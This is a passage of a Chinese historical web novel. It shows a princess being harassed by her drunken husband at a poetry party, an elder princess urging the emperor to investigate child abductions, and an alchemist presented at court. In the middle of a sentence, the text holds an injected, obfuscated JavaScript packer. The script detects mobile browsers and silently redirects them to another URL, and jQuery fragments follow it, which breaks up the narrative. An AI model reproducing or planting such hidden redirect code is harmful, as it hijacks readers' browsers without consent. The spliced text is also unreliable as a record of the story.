宫里来了圣旨,昌平侯府一大早就热闹起来了,楚闻笙也不可幸免地被叫起来,跟着一大家子人一起跪在前厅里接旨。
楚闻箫出嫁的日子定在了五月十五,最后在家的时光也不过剩下几天了,她不再被允许出门,世家之间社交的重任就交到了楚闻笙的手上。她不好推脱,再加上闻笙有意去那些贵女之间打听些消息,于是隔天一早,她就领着其他几房的几个堂妹去了端宁县主的诗会。
但是诗会还没过一半,端宁县主的丈夫突然带着妾室来闹事,那些精巧的点心洒了满地狼藉,写了诗词的纱帐和园中的花草都被毁地一干二净。那厮带了把剑来,喝醉了酒在耍酒疯,园中的贵女哪里是见过刀剑的,一个个被吓得花容失色,跌倒的、逃窜的、尖叫的,完全没有了平日尊贵优雅的姿态。
楚闻笙觉得自己额头上青筋直跳,这眼熟的场景...之前宝华公主的女儿的周岁宴不也是这样子吗!这些皇室的贵女们到底是倒了什么大霉,一个个的都摊上这样的丈夫。
她跟楚家人不算亲厚,但也不能放着几个小女孩不管,于是拉着扶桑和松雪火速把几个年纪小的妹妹笼过来,赶鸭子似的打包塞进了马车送回家。眼看着扶桑带着楚家的马车远走,这才松了一口气折返回去,准备向县主告罪离开。
结果刚刚踏进院子,就看见忍无可忍的端宁县主撸着袖子冲上去夺了丈夫的剑,一脚把他踹跪在地上,左右开弓赏了他好几个耳光,而县主身后的侍女们这才反应过来,连忙急急忙忙上前拉架。
端宁县主翻了丈夫一个白眼,摸着胸口给自己顺气,一抬头刚刚好和闻笙的视线对上。
“楚闻箫?你不备嫁了?”
闻笙默了一瞬,福身行礼道:“县主,臣女楚闻笙,闻箫是我的二姐。”
二人并不熟悉,端宁县主可能是乍然被陌生人看到自己那么不端庄的样子有些不好意思,在绞尽脑汁想说些什么能够缓解自己的尴尬。
“你...哎,”端宁县主抓狂地挠了挠脑袋,一脸纠结:“你...跟楚闻箫熟不熟?”
“县主有什么事情吗,臣女和二姐还算...”楚闻笙不太明白端宁县主为何问这个,于是选了一个保守的说法,但是话没说完就被打断。
“行行行,还好就行,那我就直说了啊,”她挠挠头,急切问道:“你有没有问过楚闻箫,她这么一嫁千里外,她那个小画师该怎么办?她不去见,人家都求到我这里来了,你说这都什么烂事嘛。”
画师?楚闻笙会议一番,应该是之前被怀疑有私情的那个吧,但是之前不是说她私下去见过那个人了吗?
“我并未问过二姐姐,这种事情也不好宣扬,所以也不曾告诉过我。”
端宁县主看着闻笙神色不似作伪,狠狠松了一口气,知道就好,那她也不算把朋友的秘密随意说出去。
“那人好几日前和她见过一面,这个楚闻箫还骗人呢,结果圣旨宣下来,满城皆知,那人找不到楚闻箫就找到我头上,哎。总之你跟她说一声。”
闻笙答应下来,端宁县主想了想也没有别的事情,就为今天的事简单致歉了一下,然后放闻笙走了。
侯府今日只匀出来一辆马车给闻笙,刚刚几个堂妹乘车回去了,闻笙站在门口倒是没了交通工具。
罢了,等侯府想起她来不知道要多久之后,左右也不是全然无事可做,她索性不回了。
“走吧,去一趟沉溪阁。”
——————
“沉溪阁的事情已经结案了,皇姐,朕已经给了你交代,林家全族斩首的斩首流放的流放,你还要如何。”
勤政殿之中,皇帝气急败坏地背着手来回踱步,看着地上跪着的定宁长公主,他一脸糟心的表情。
“你起来,皇姐跪着,难道是要跪坏自己的膝盖,要朕落得个苛待手足的恶名吗?”
长公主岿然不动,固执地跪在大殿中央:“请陛下彻查。”
她低着头,神色好似无悲无喜。
可皇帝知道,定宁长公主是最为固执的人,也是最为坚毅的人,当然,也最是难缠。
当年若不是她和丈夫的鼎力相助,自己一个闲散的藩王怎么可能如此轻易登上帝王宝座。
可那个时候,皇姐对别人的难缠固执、不达目的不罢休对他而言是件好事,而现在用到皇帝自己头上,他简直束手无策。
定宁长公主是有从龙之功的,寒了她心就是寒了所有之前追随他的人的心。
所以他只能先安抚。
“皇姐,朕真的想不明白,为何一定要查下去?害了心儿的凶手已经死了,这么多年来经营这沉溪阁的林家也满门抄斩了,究竟还有什么不满意的?朕真的不能理解,皇姐不妨说清楚,不然我也没办法查下去。”
长公主答:“因为此事若不彻查,背后之人迟早会钻空子,届时还会有更多的孩子遇害。”
皇帝不解:“那又能如何,那是别人的孩子,通通都是旁人,皇姐何必呢?”
长公主抬头望他,好似从不曾知道他的长相那般仔细望着,而后深深地呼吸了一口气,低头藏住眼中的失望。她跪地很优雅端庄,语气也很平静:“陛下还记得未登基时的事情吗,甚至是未就番之前的事情?”
“那时你开府封王,阿准还没出生,华盈才三四岁大。”
“上元灯会,华盈被抱走过,您还记得吗?”
皇帝一愣,所有的气焰一瞬间消散,沉默了下来。
那是二十多年前的事情了。
那年是他第一年开府,爱妻在侧,儿女绕膝,是他二十几年人生里最快乐的一段时光。
适逢上元佳节,他微服抱着一双儿女踏月逛灯会。
华盈小小的一个人,扎着两个揪揪玉雪可爱,她撒娇同他说想下来走走,当时的他应允了。
可谁曾想不过才走了短短的一段路,一队游灯的人将华盈冲散开。
等到再找到时,小小的华盈脸上被涂了脏兮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300892|160650||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兮的污泥,一头的珠花都被人摘走,柔顺的头发也被绞成了狗啃。
那是他这个一向默默无闻的皇子,第一次发了大脾气,在先帝已经惩处了人贩之后,仍然上奏要求彻查京城。
那时先帝似乎也问过他,华盈已经无事,为何还要搅得如此人心惶惶。
他是怎么说的来着?
“陛下当时说,不是每一个孩子都能像华盈一样幸运,不是每一个孩子都出身高贵,如果不彻查,就会有更多无权无势的孩子只能任人宰割。”
长公主的话音落下,紫宸殿内安静到只剩下风翻过书页的声音。
皇帝那双原本因为疑惑不解摊开的手,无力地垂落下去,撑在书案上,他整个人也好似被抽走了一口气。
“皇姐,容朕想想吧...你,皇后,你去替朕看看皇后吧。”
长公主行了一礼,答应下来。
她知道皇后这些年几乎是紧锁宫门不理凡俗,皇帝又拉不下脸去求和,只得总是寻由头找人去探望。
“对了,陛下,臣与驸马丧女,这么多年再无所出,想请奏回臣的封地。”
“西北苦寒,皇姐想好了?”
“是。”
皇帝长叹一声,挥了挥手,算作同意了。定宁长公主跪了许久,站起来的时候踉跄了一下,皇帝想要上前扶她,长公主却躲开,再施一礼后自行离去。
走出了紫宸殿,没有了满室浓重的龙涎香,清新的空气重新进入鼻腔,长公主闭目深吸一口气。
自己当初为什么力排众议,奔走四方游说,要拥立他为皇帝呢?就是为了他的仁心和怜悯,可如今啊......
看看这满殿的金玉珍玩,呵,权力这东西当真是腐蚀人心。
还有皇后,当年慕容家何等风光门第,原本是板上钉钉的太子妃人选,他为了求娶废了多大的一番功夫,而后登基却为了那样一个女人说舍就舍了。
坤宁宫的大门自然是能敲开,只怕皇后的心门却再也敲不开了。
“长公主殿下请,皇后娘娘等您多时了。”
——————
定宁长公主离开之后,紫宸殿里的帝王却没有时间彻底静下来思考。
大太监江泉一甩拂尘,领着一个长须飘飘、看上去仙风道骨的人,出现在皇帝面前。他道:“陛下,这位仙师,便是四殿下为陛下寻来的仙人,听四殿下说,这位仙师乃是神仙下凡,他的丹药能够肉白骨。”
皇帝还沉浸在方才的情绪之中,随意应了一声。
那人走上前来跪在皇帝的书案前,举止优雅,带着一股超然的风流:“叩见陛下,贫道闻人熠,闻陛下圣明特携仙丹进献。”
这个名字...好熟悉,皇帝抬眼看他。
这人身上的道袍并非是他所熟知的道教衣袍,他的衣袖上绘着日月金纹和认不清的符文,竟无端透露着一种诡异。
啊,他好像想起来了。
“你...就是闻人熠?”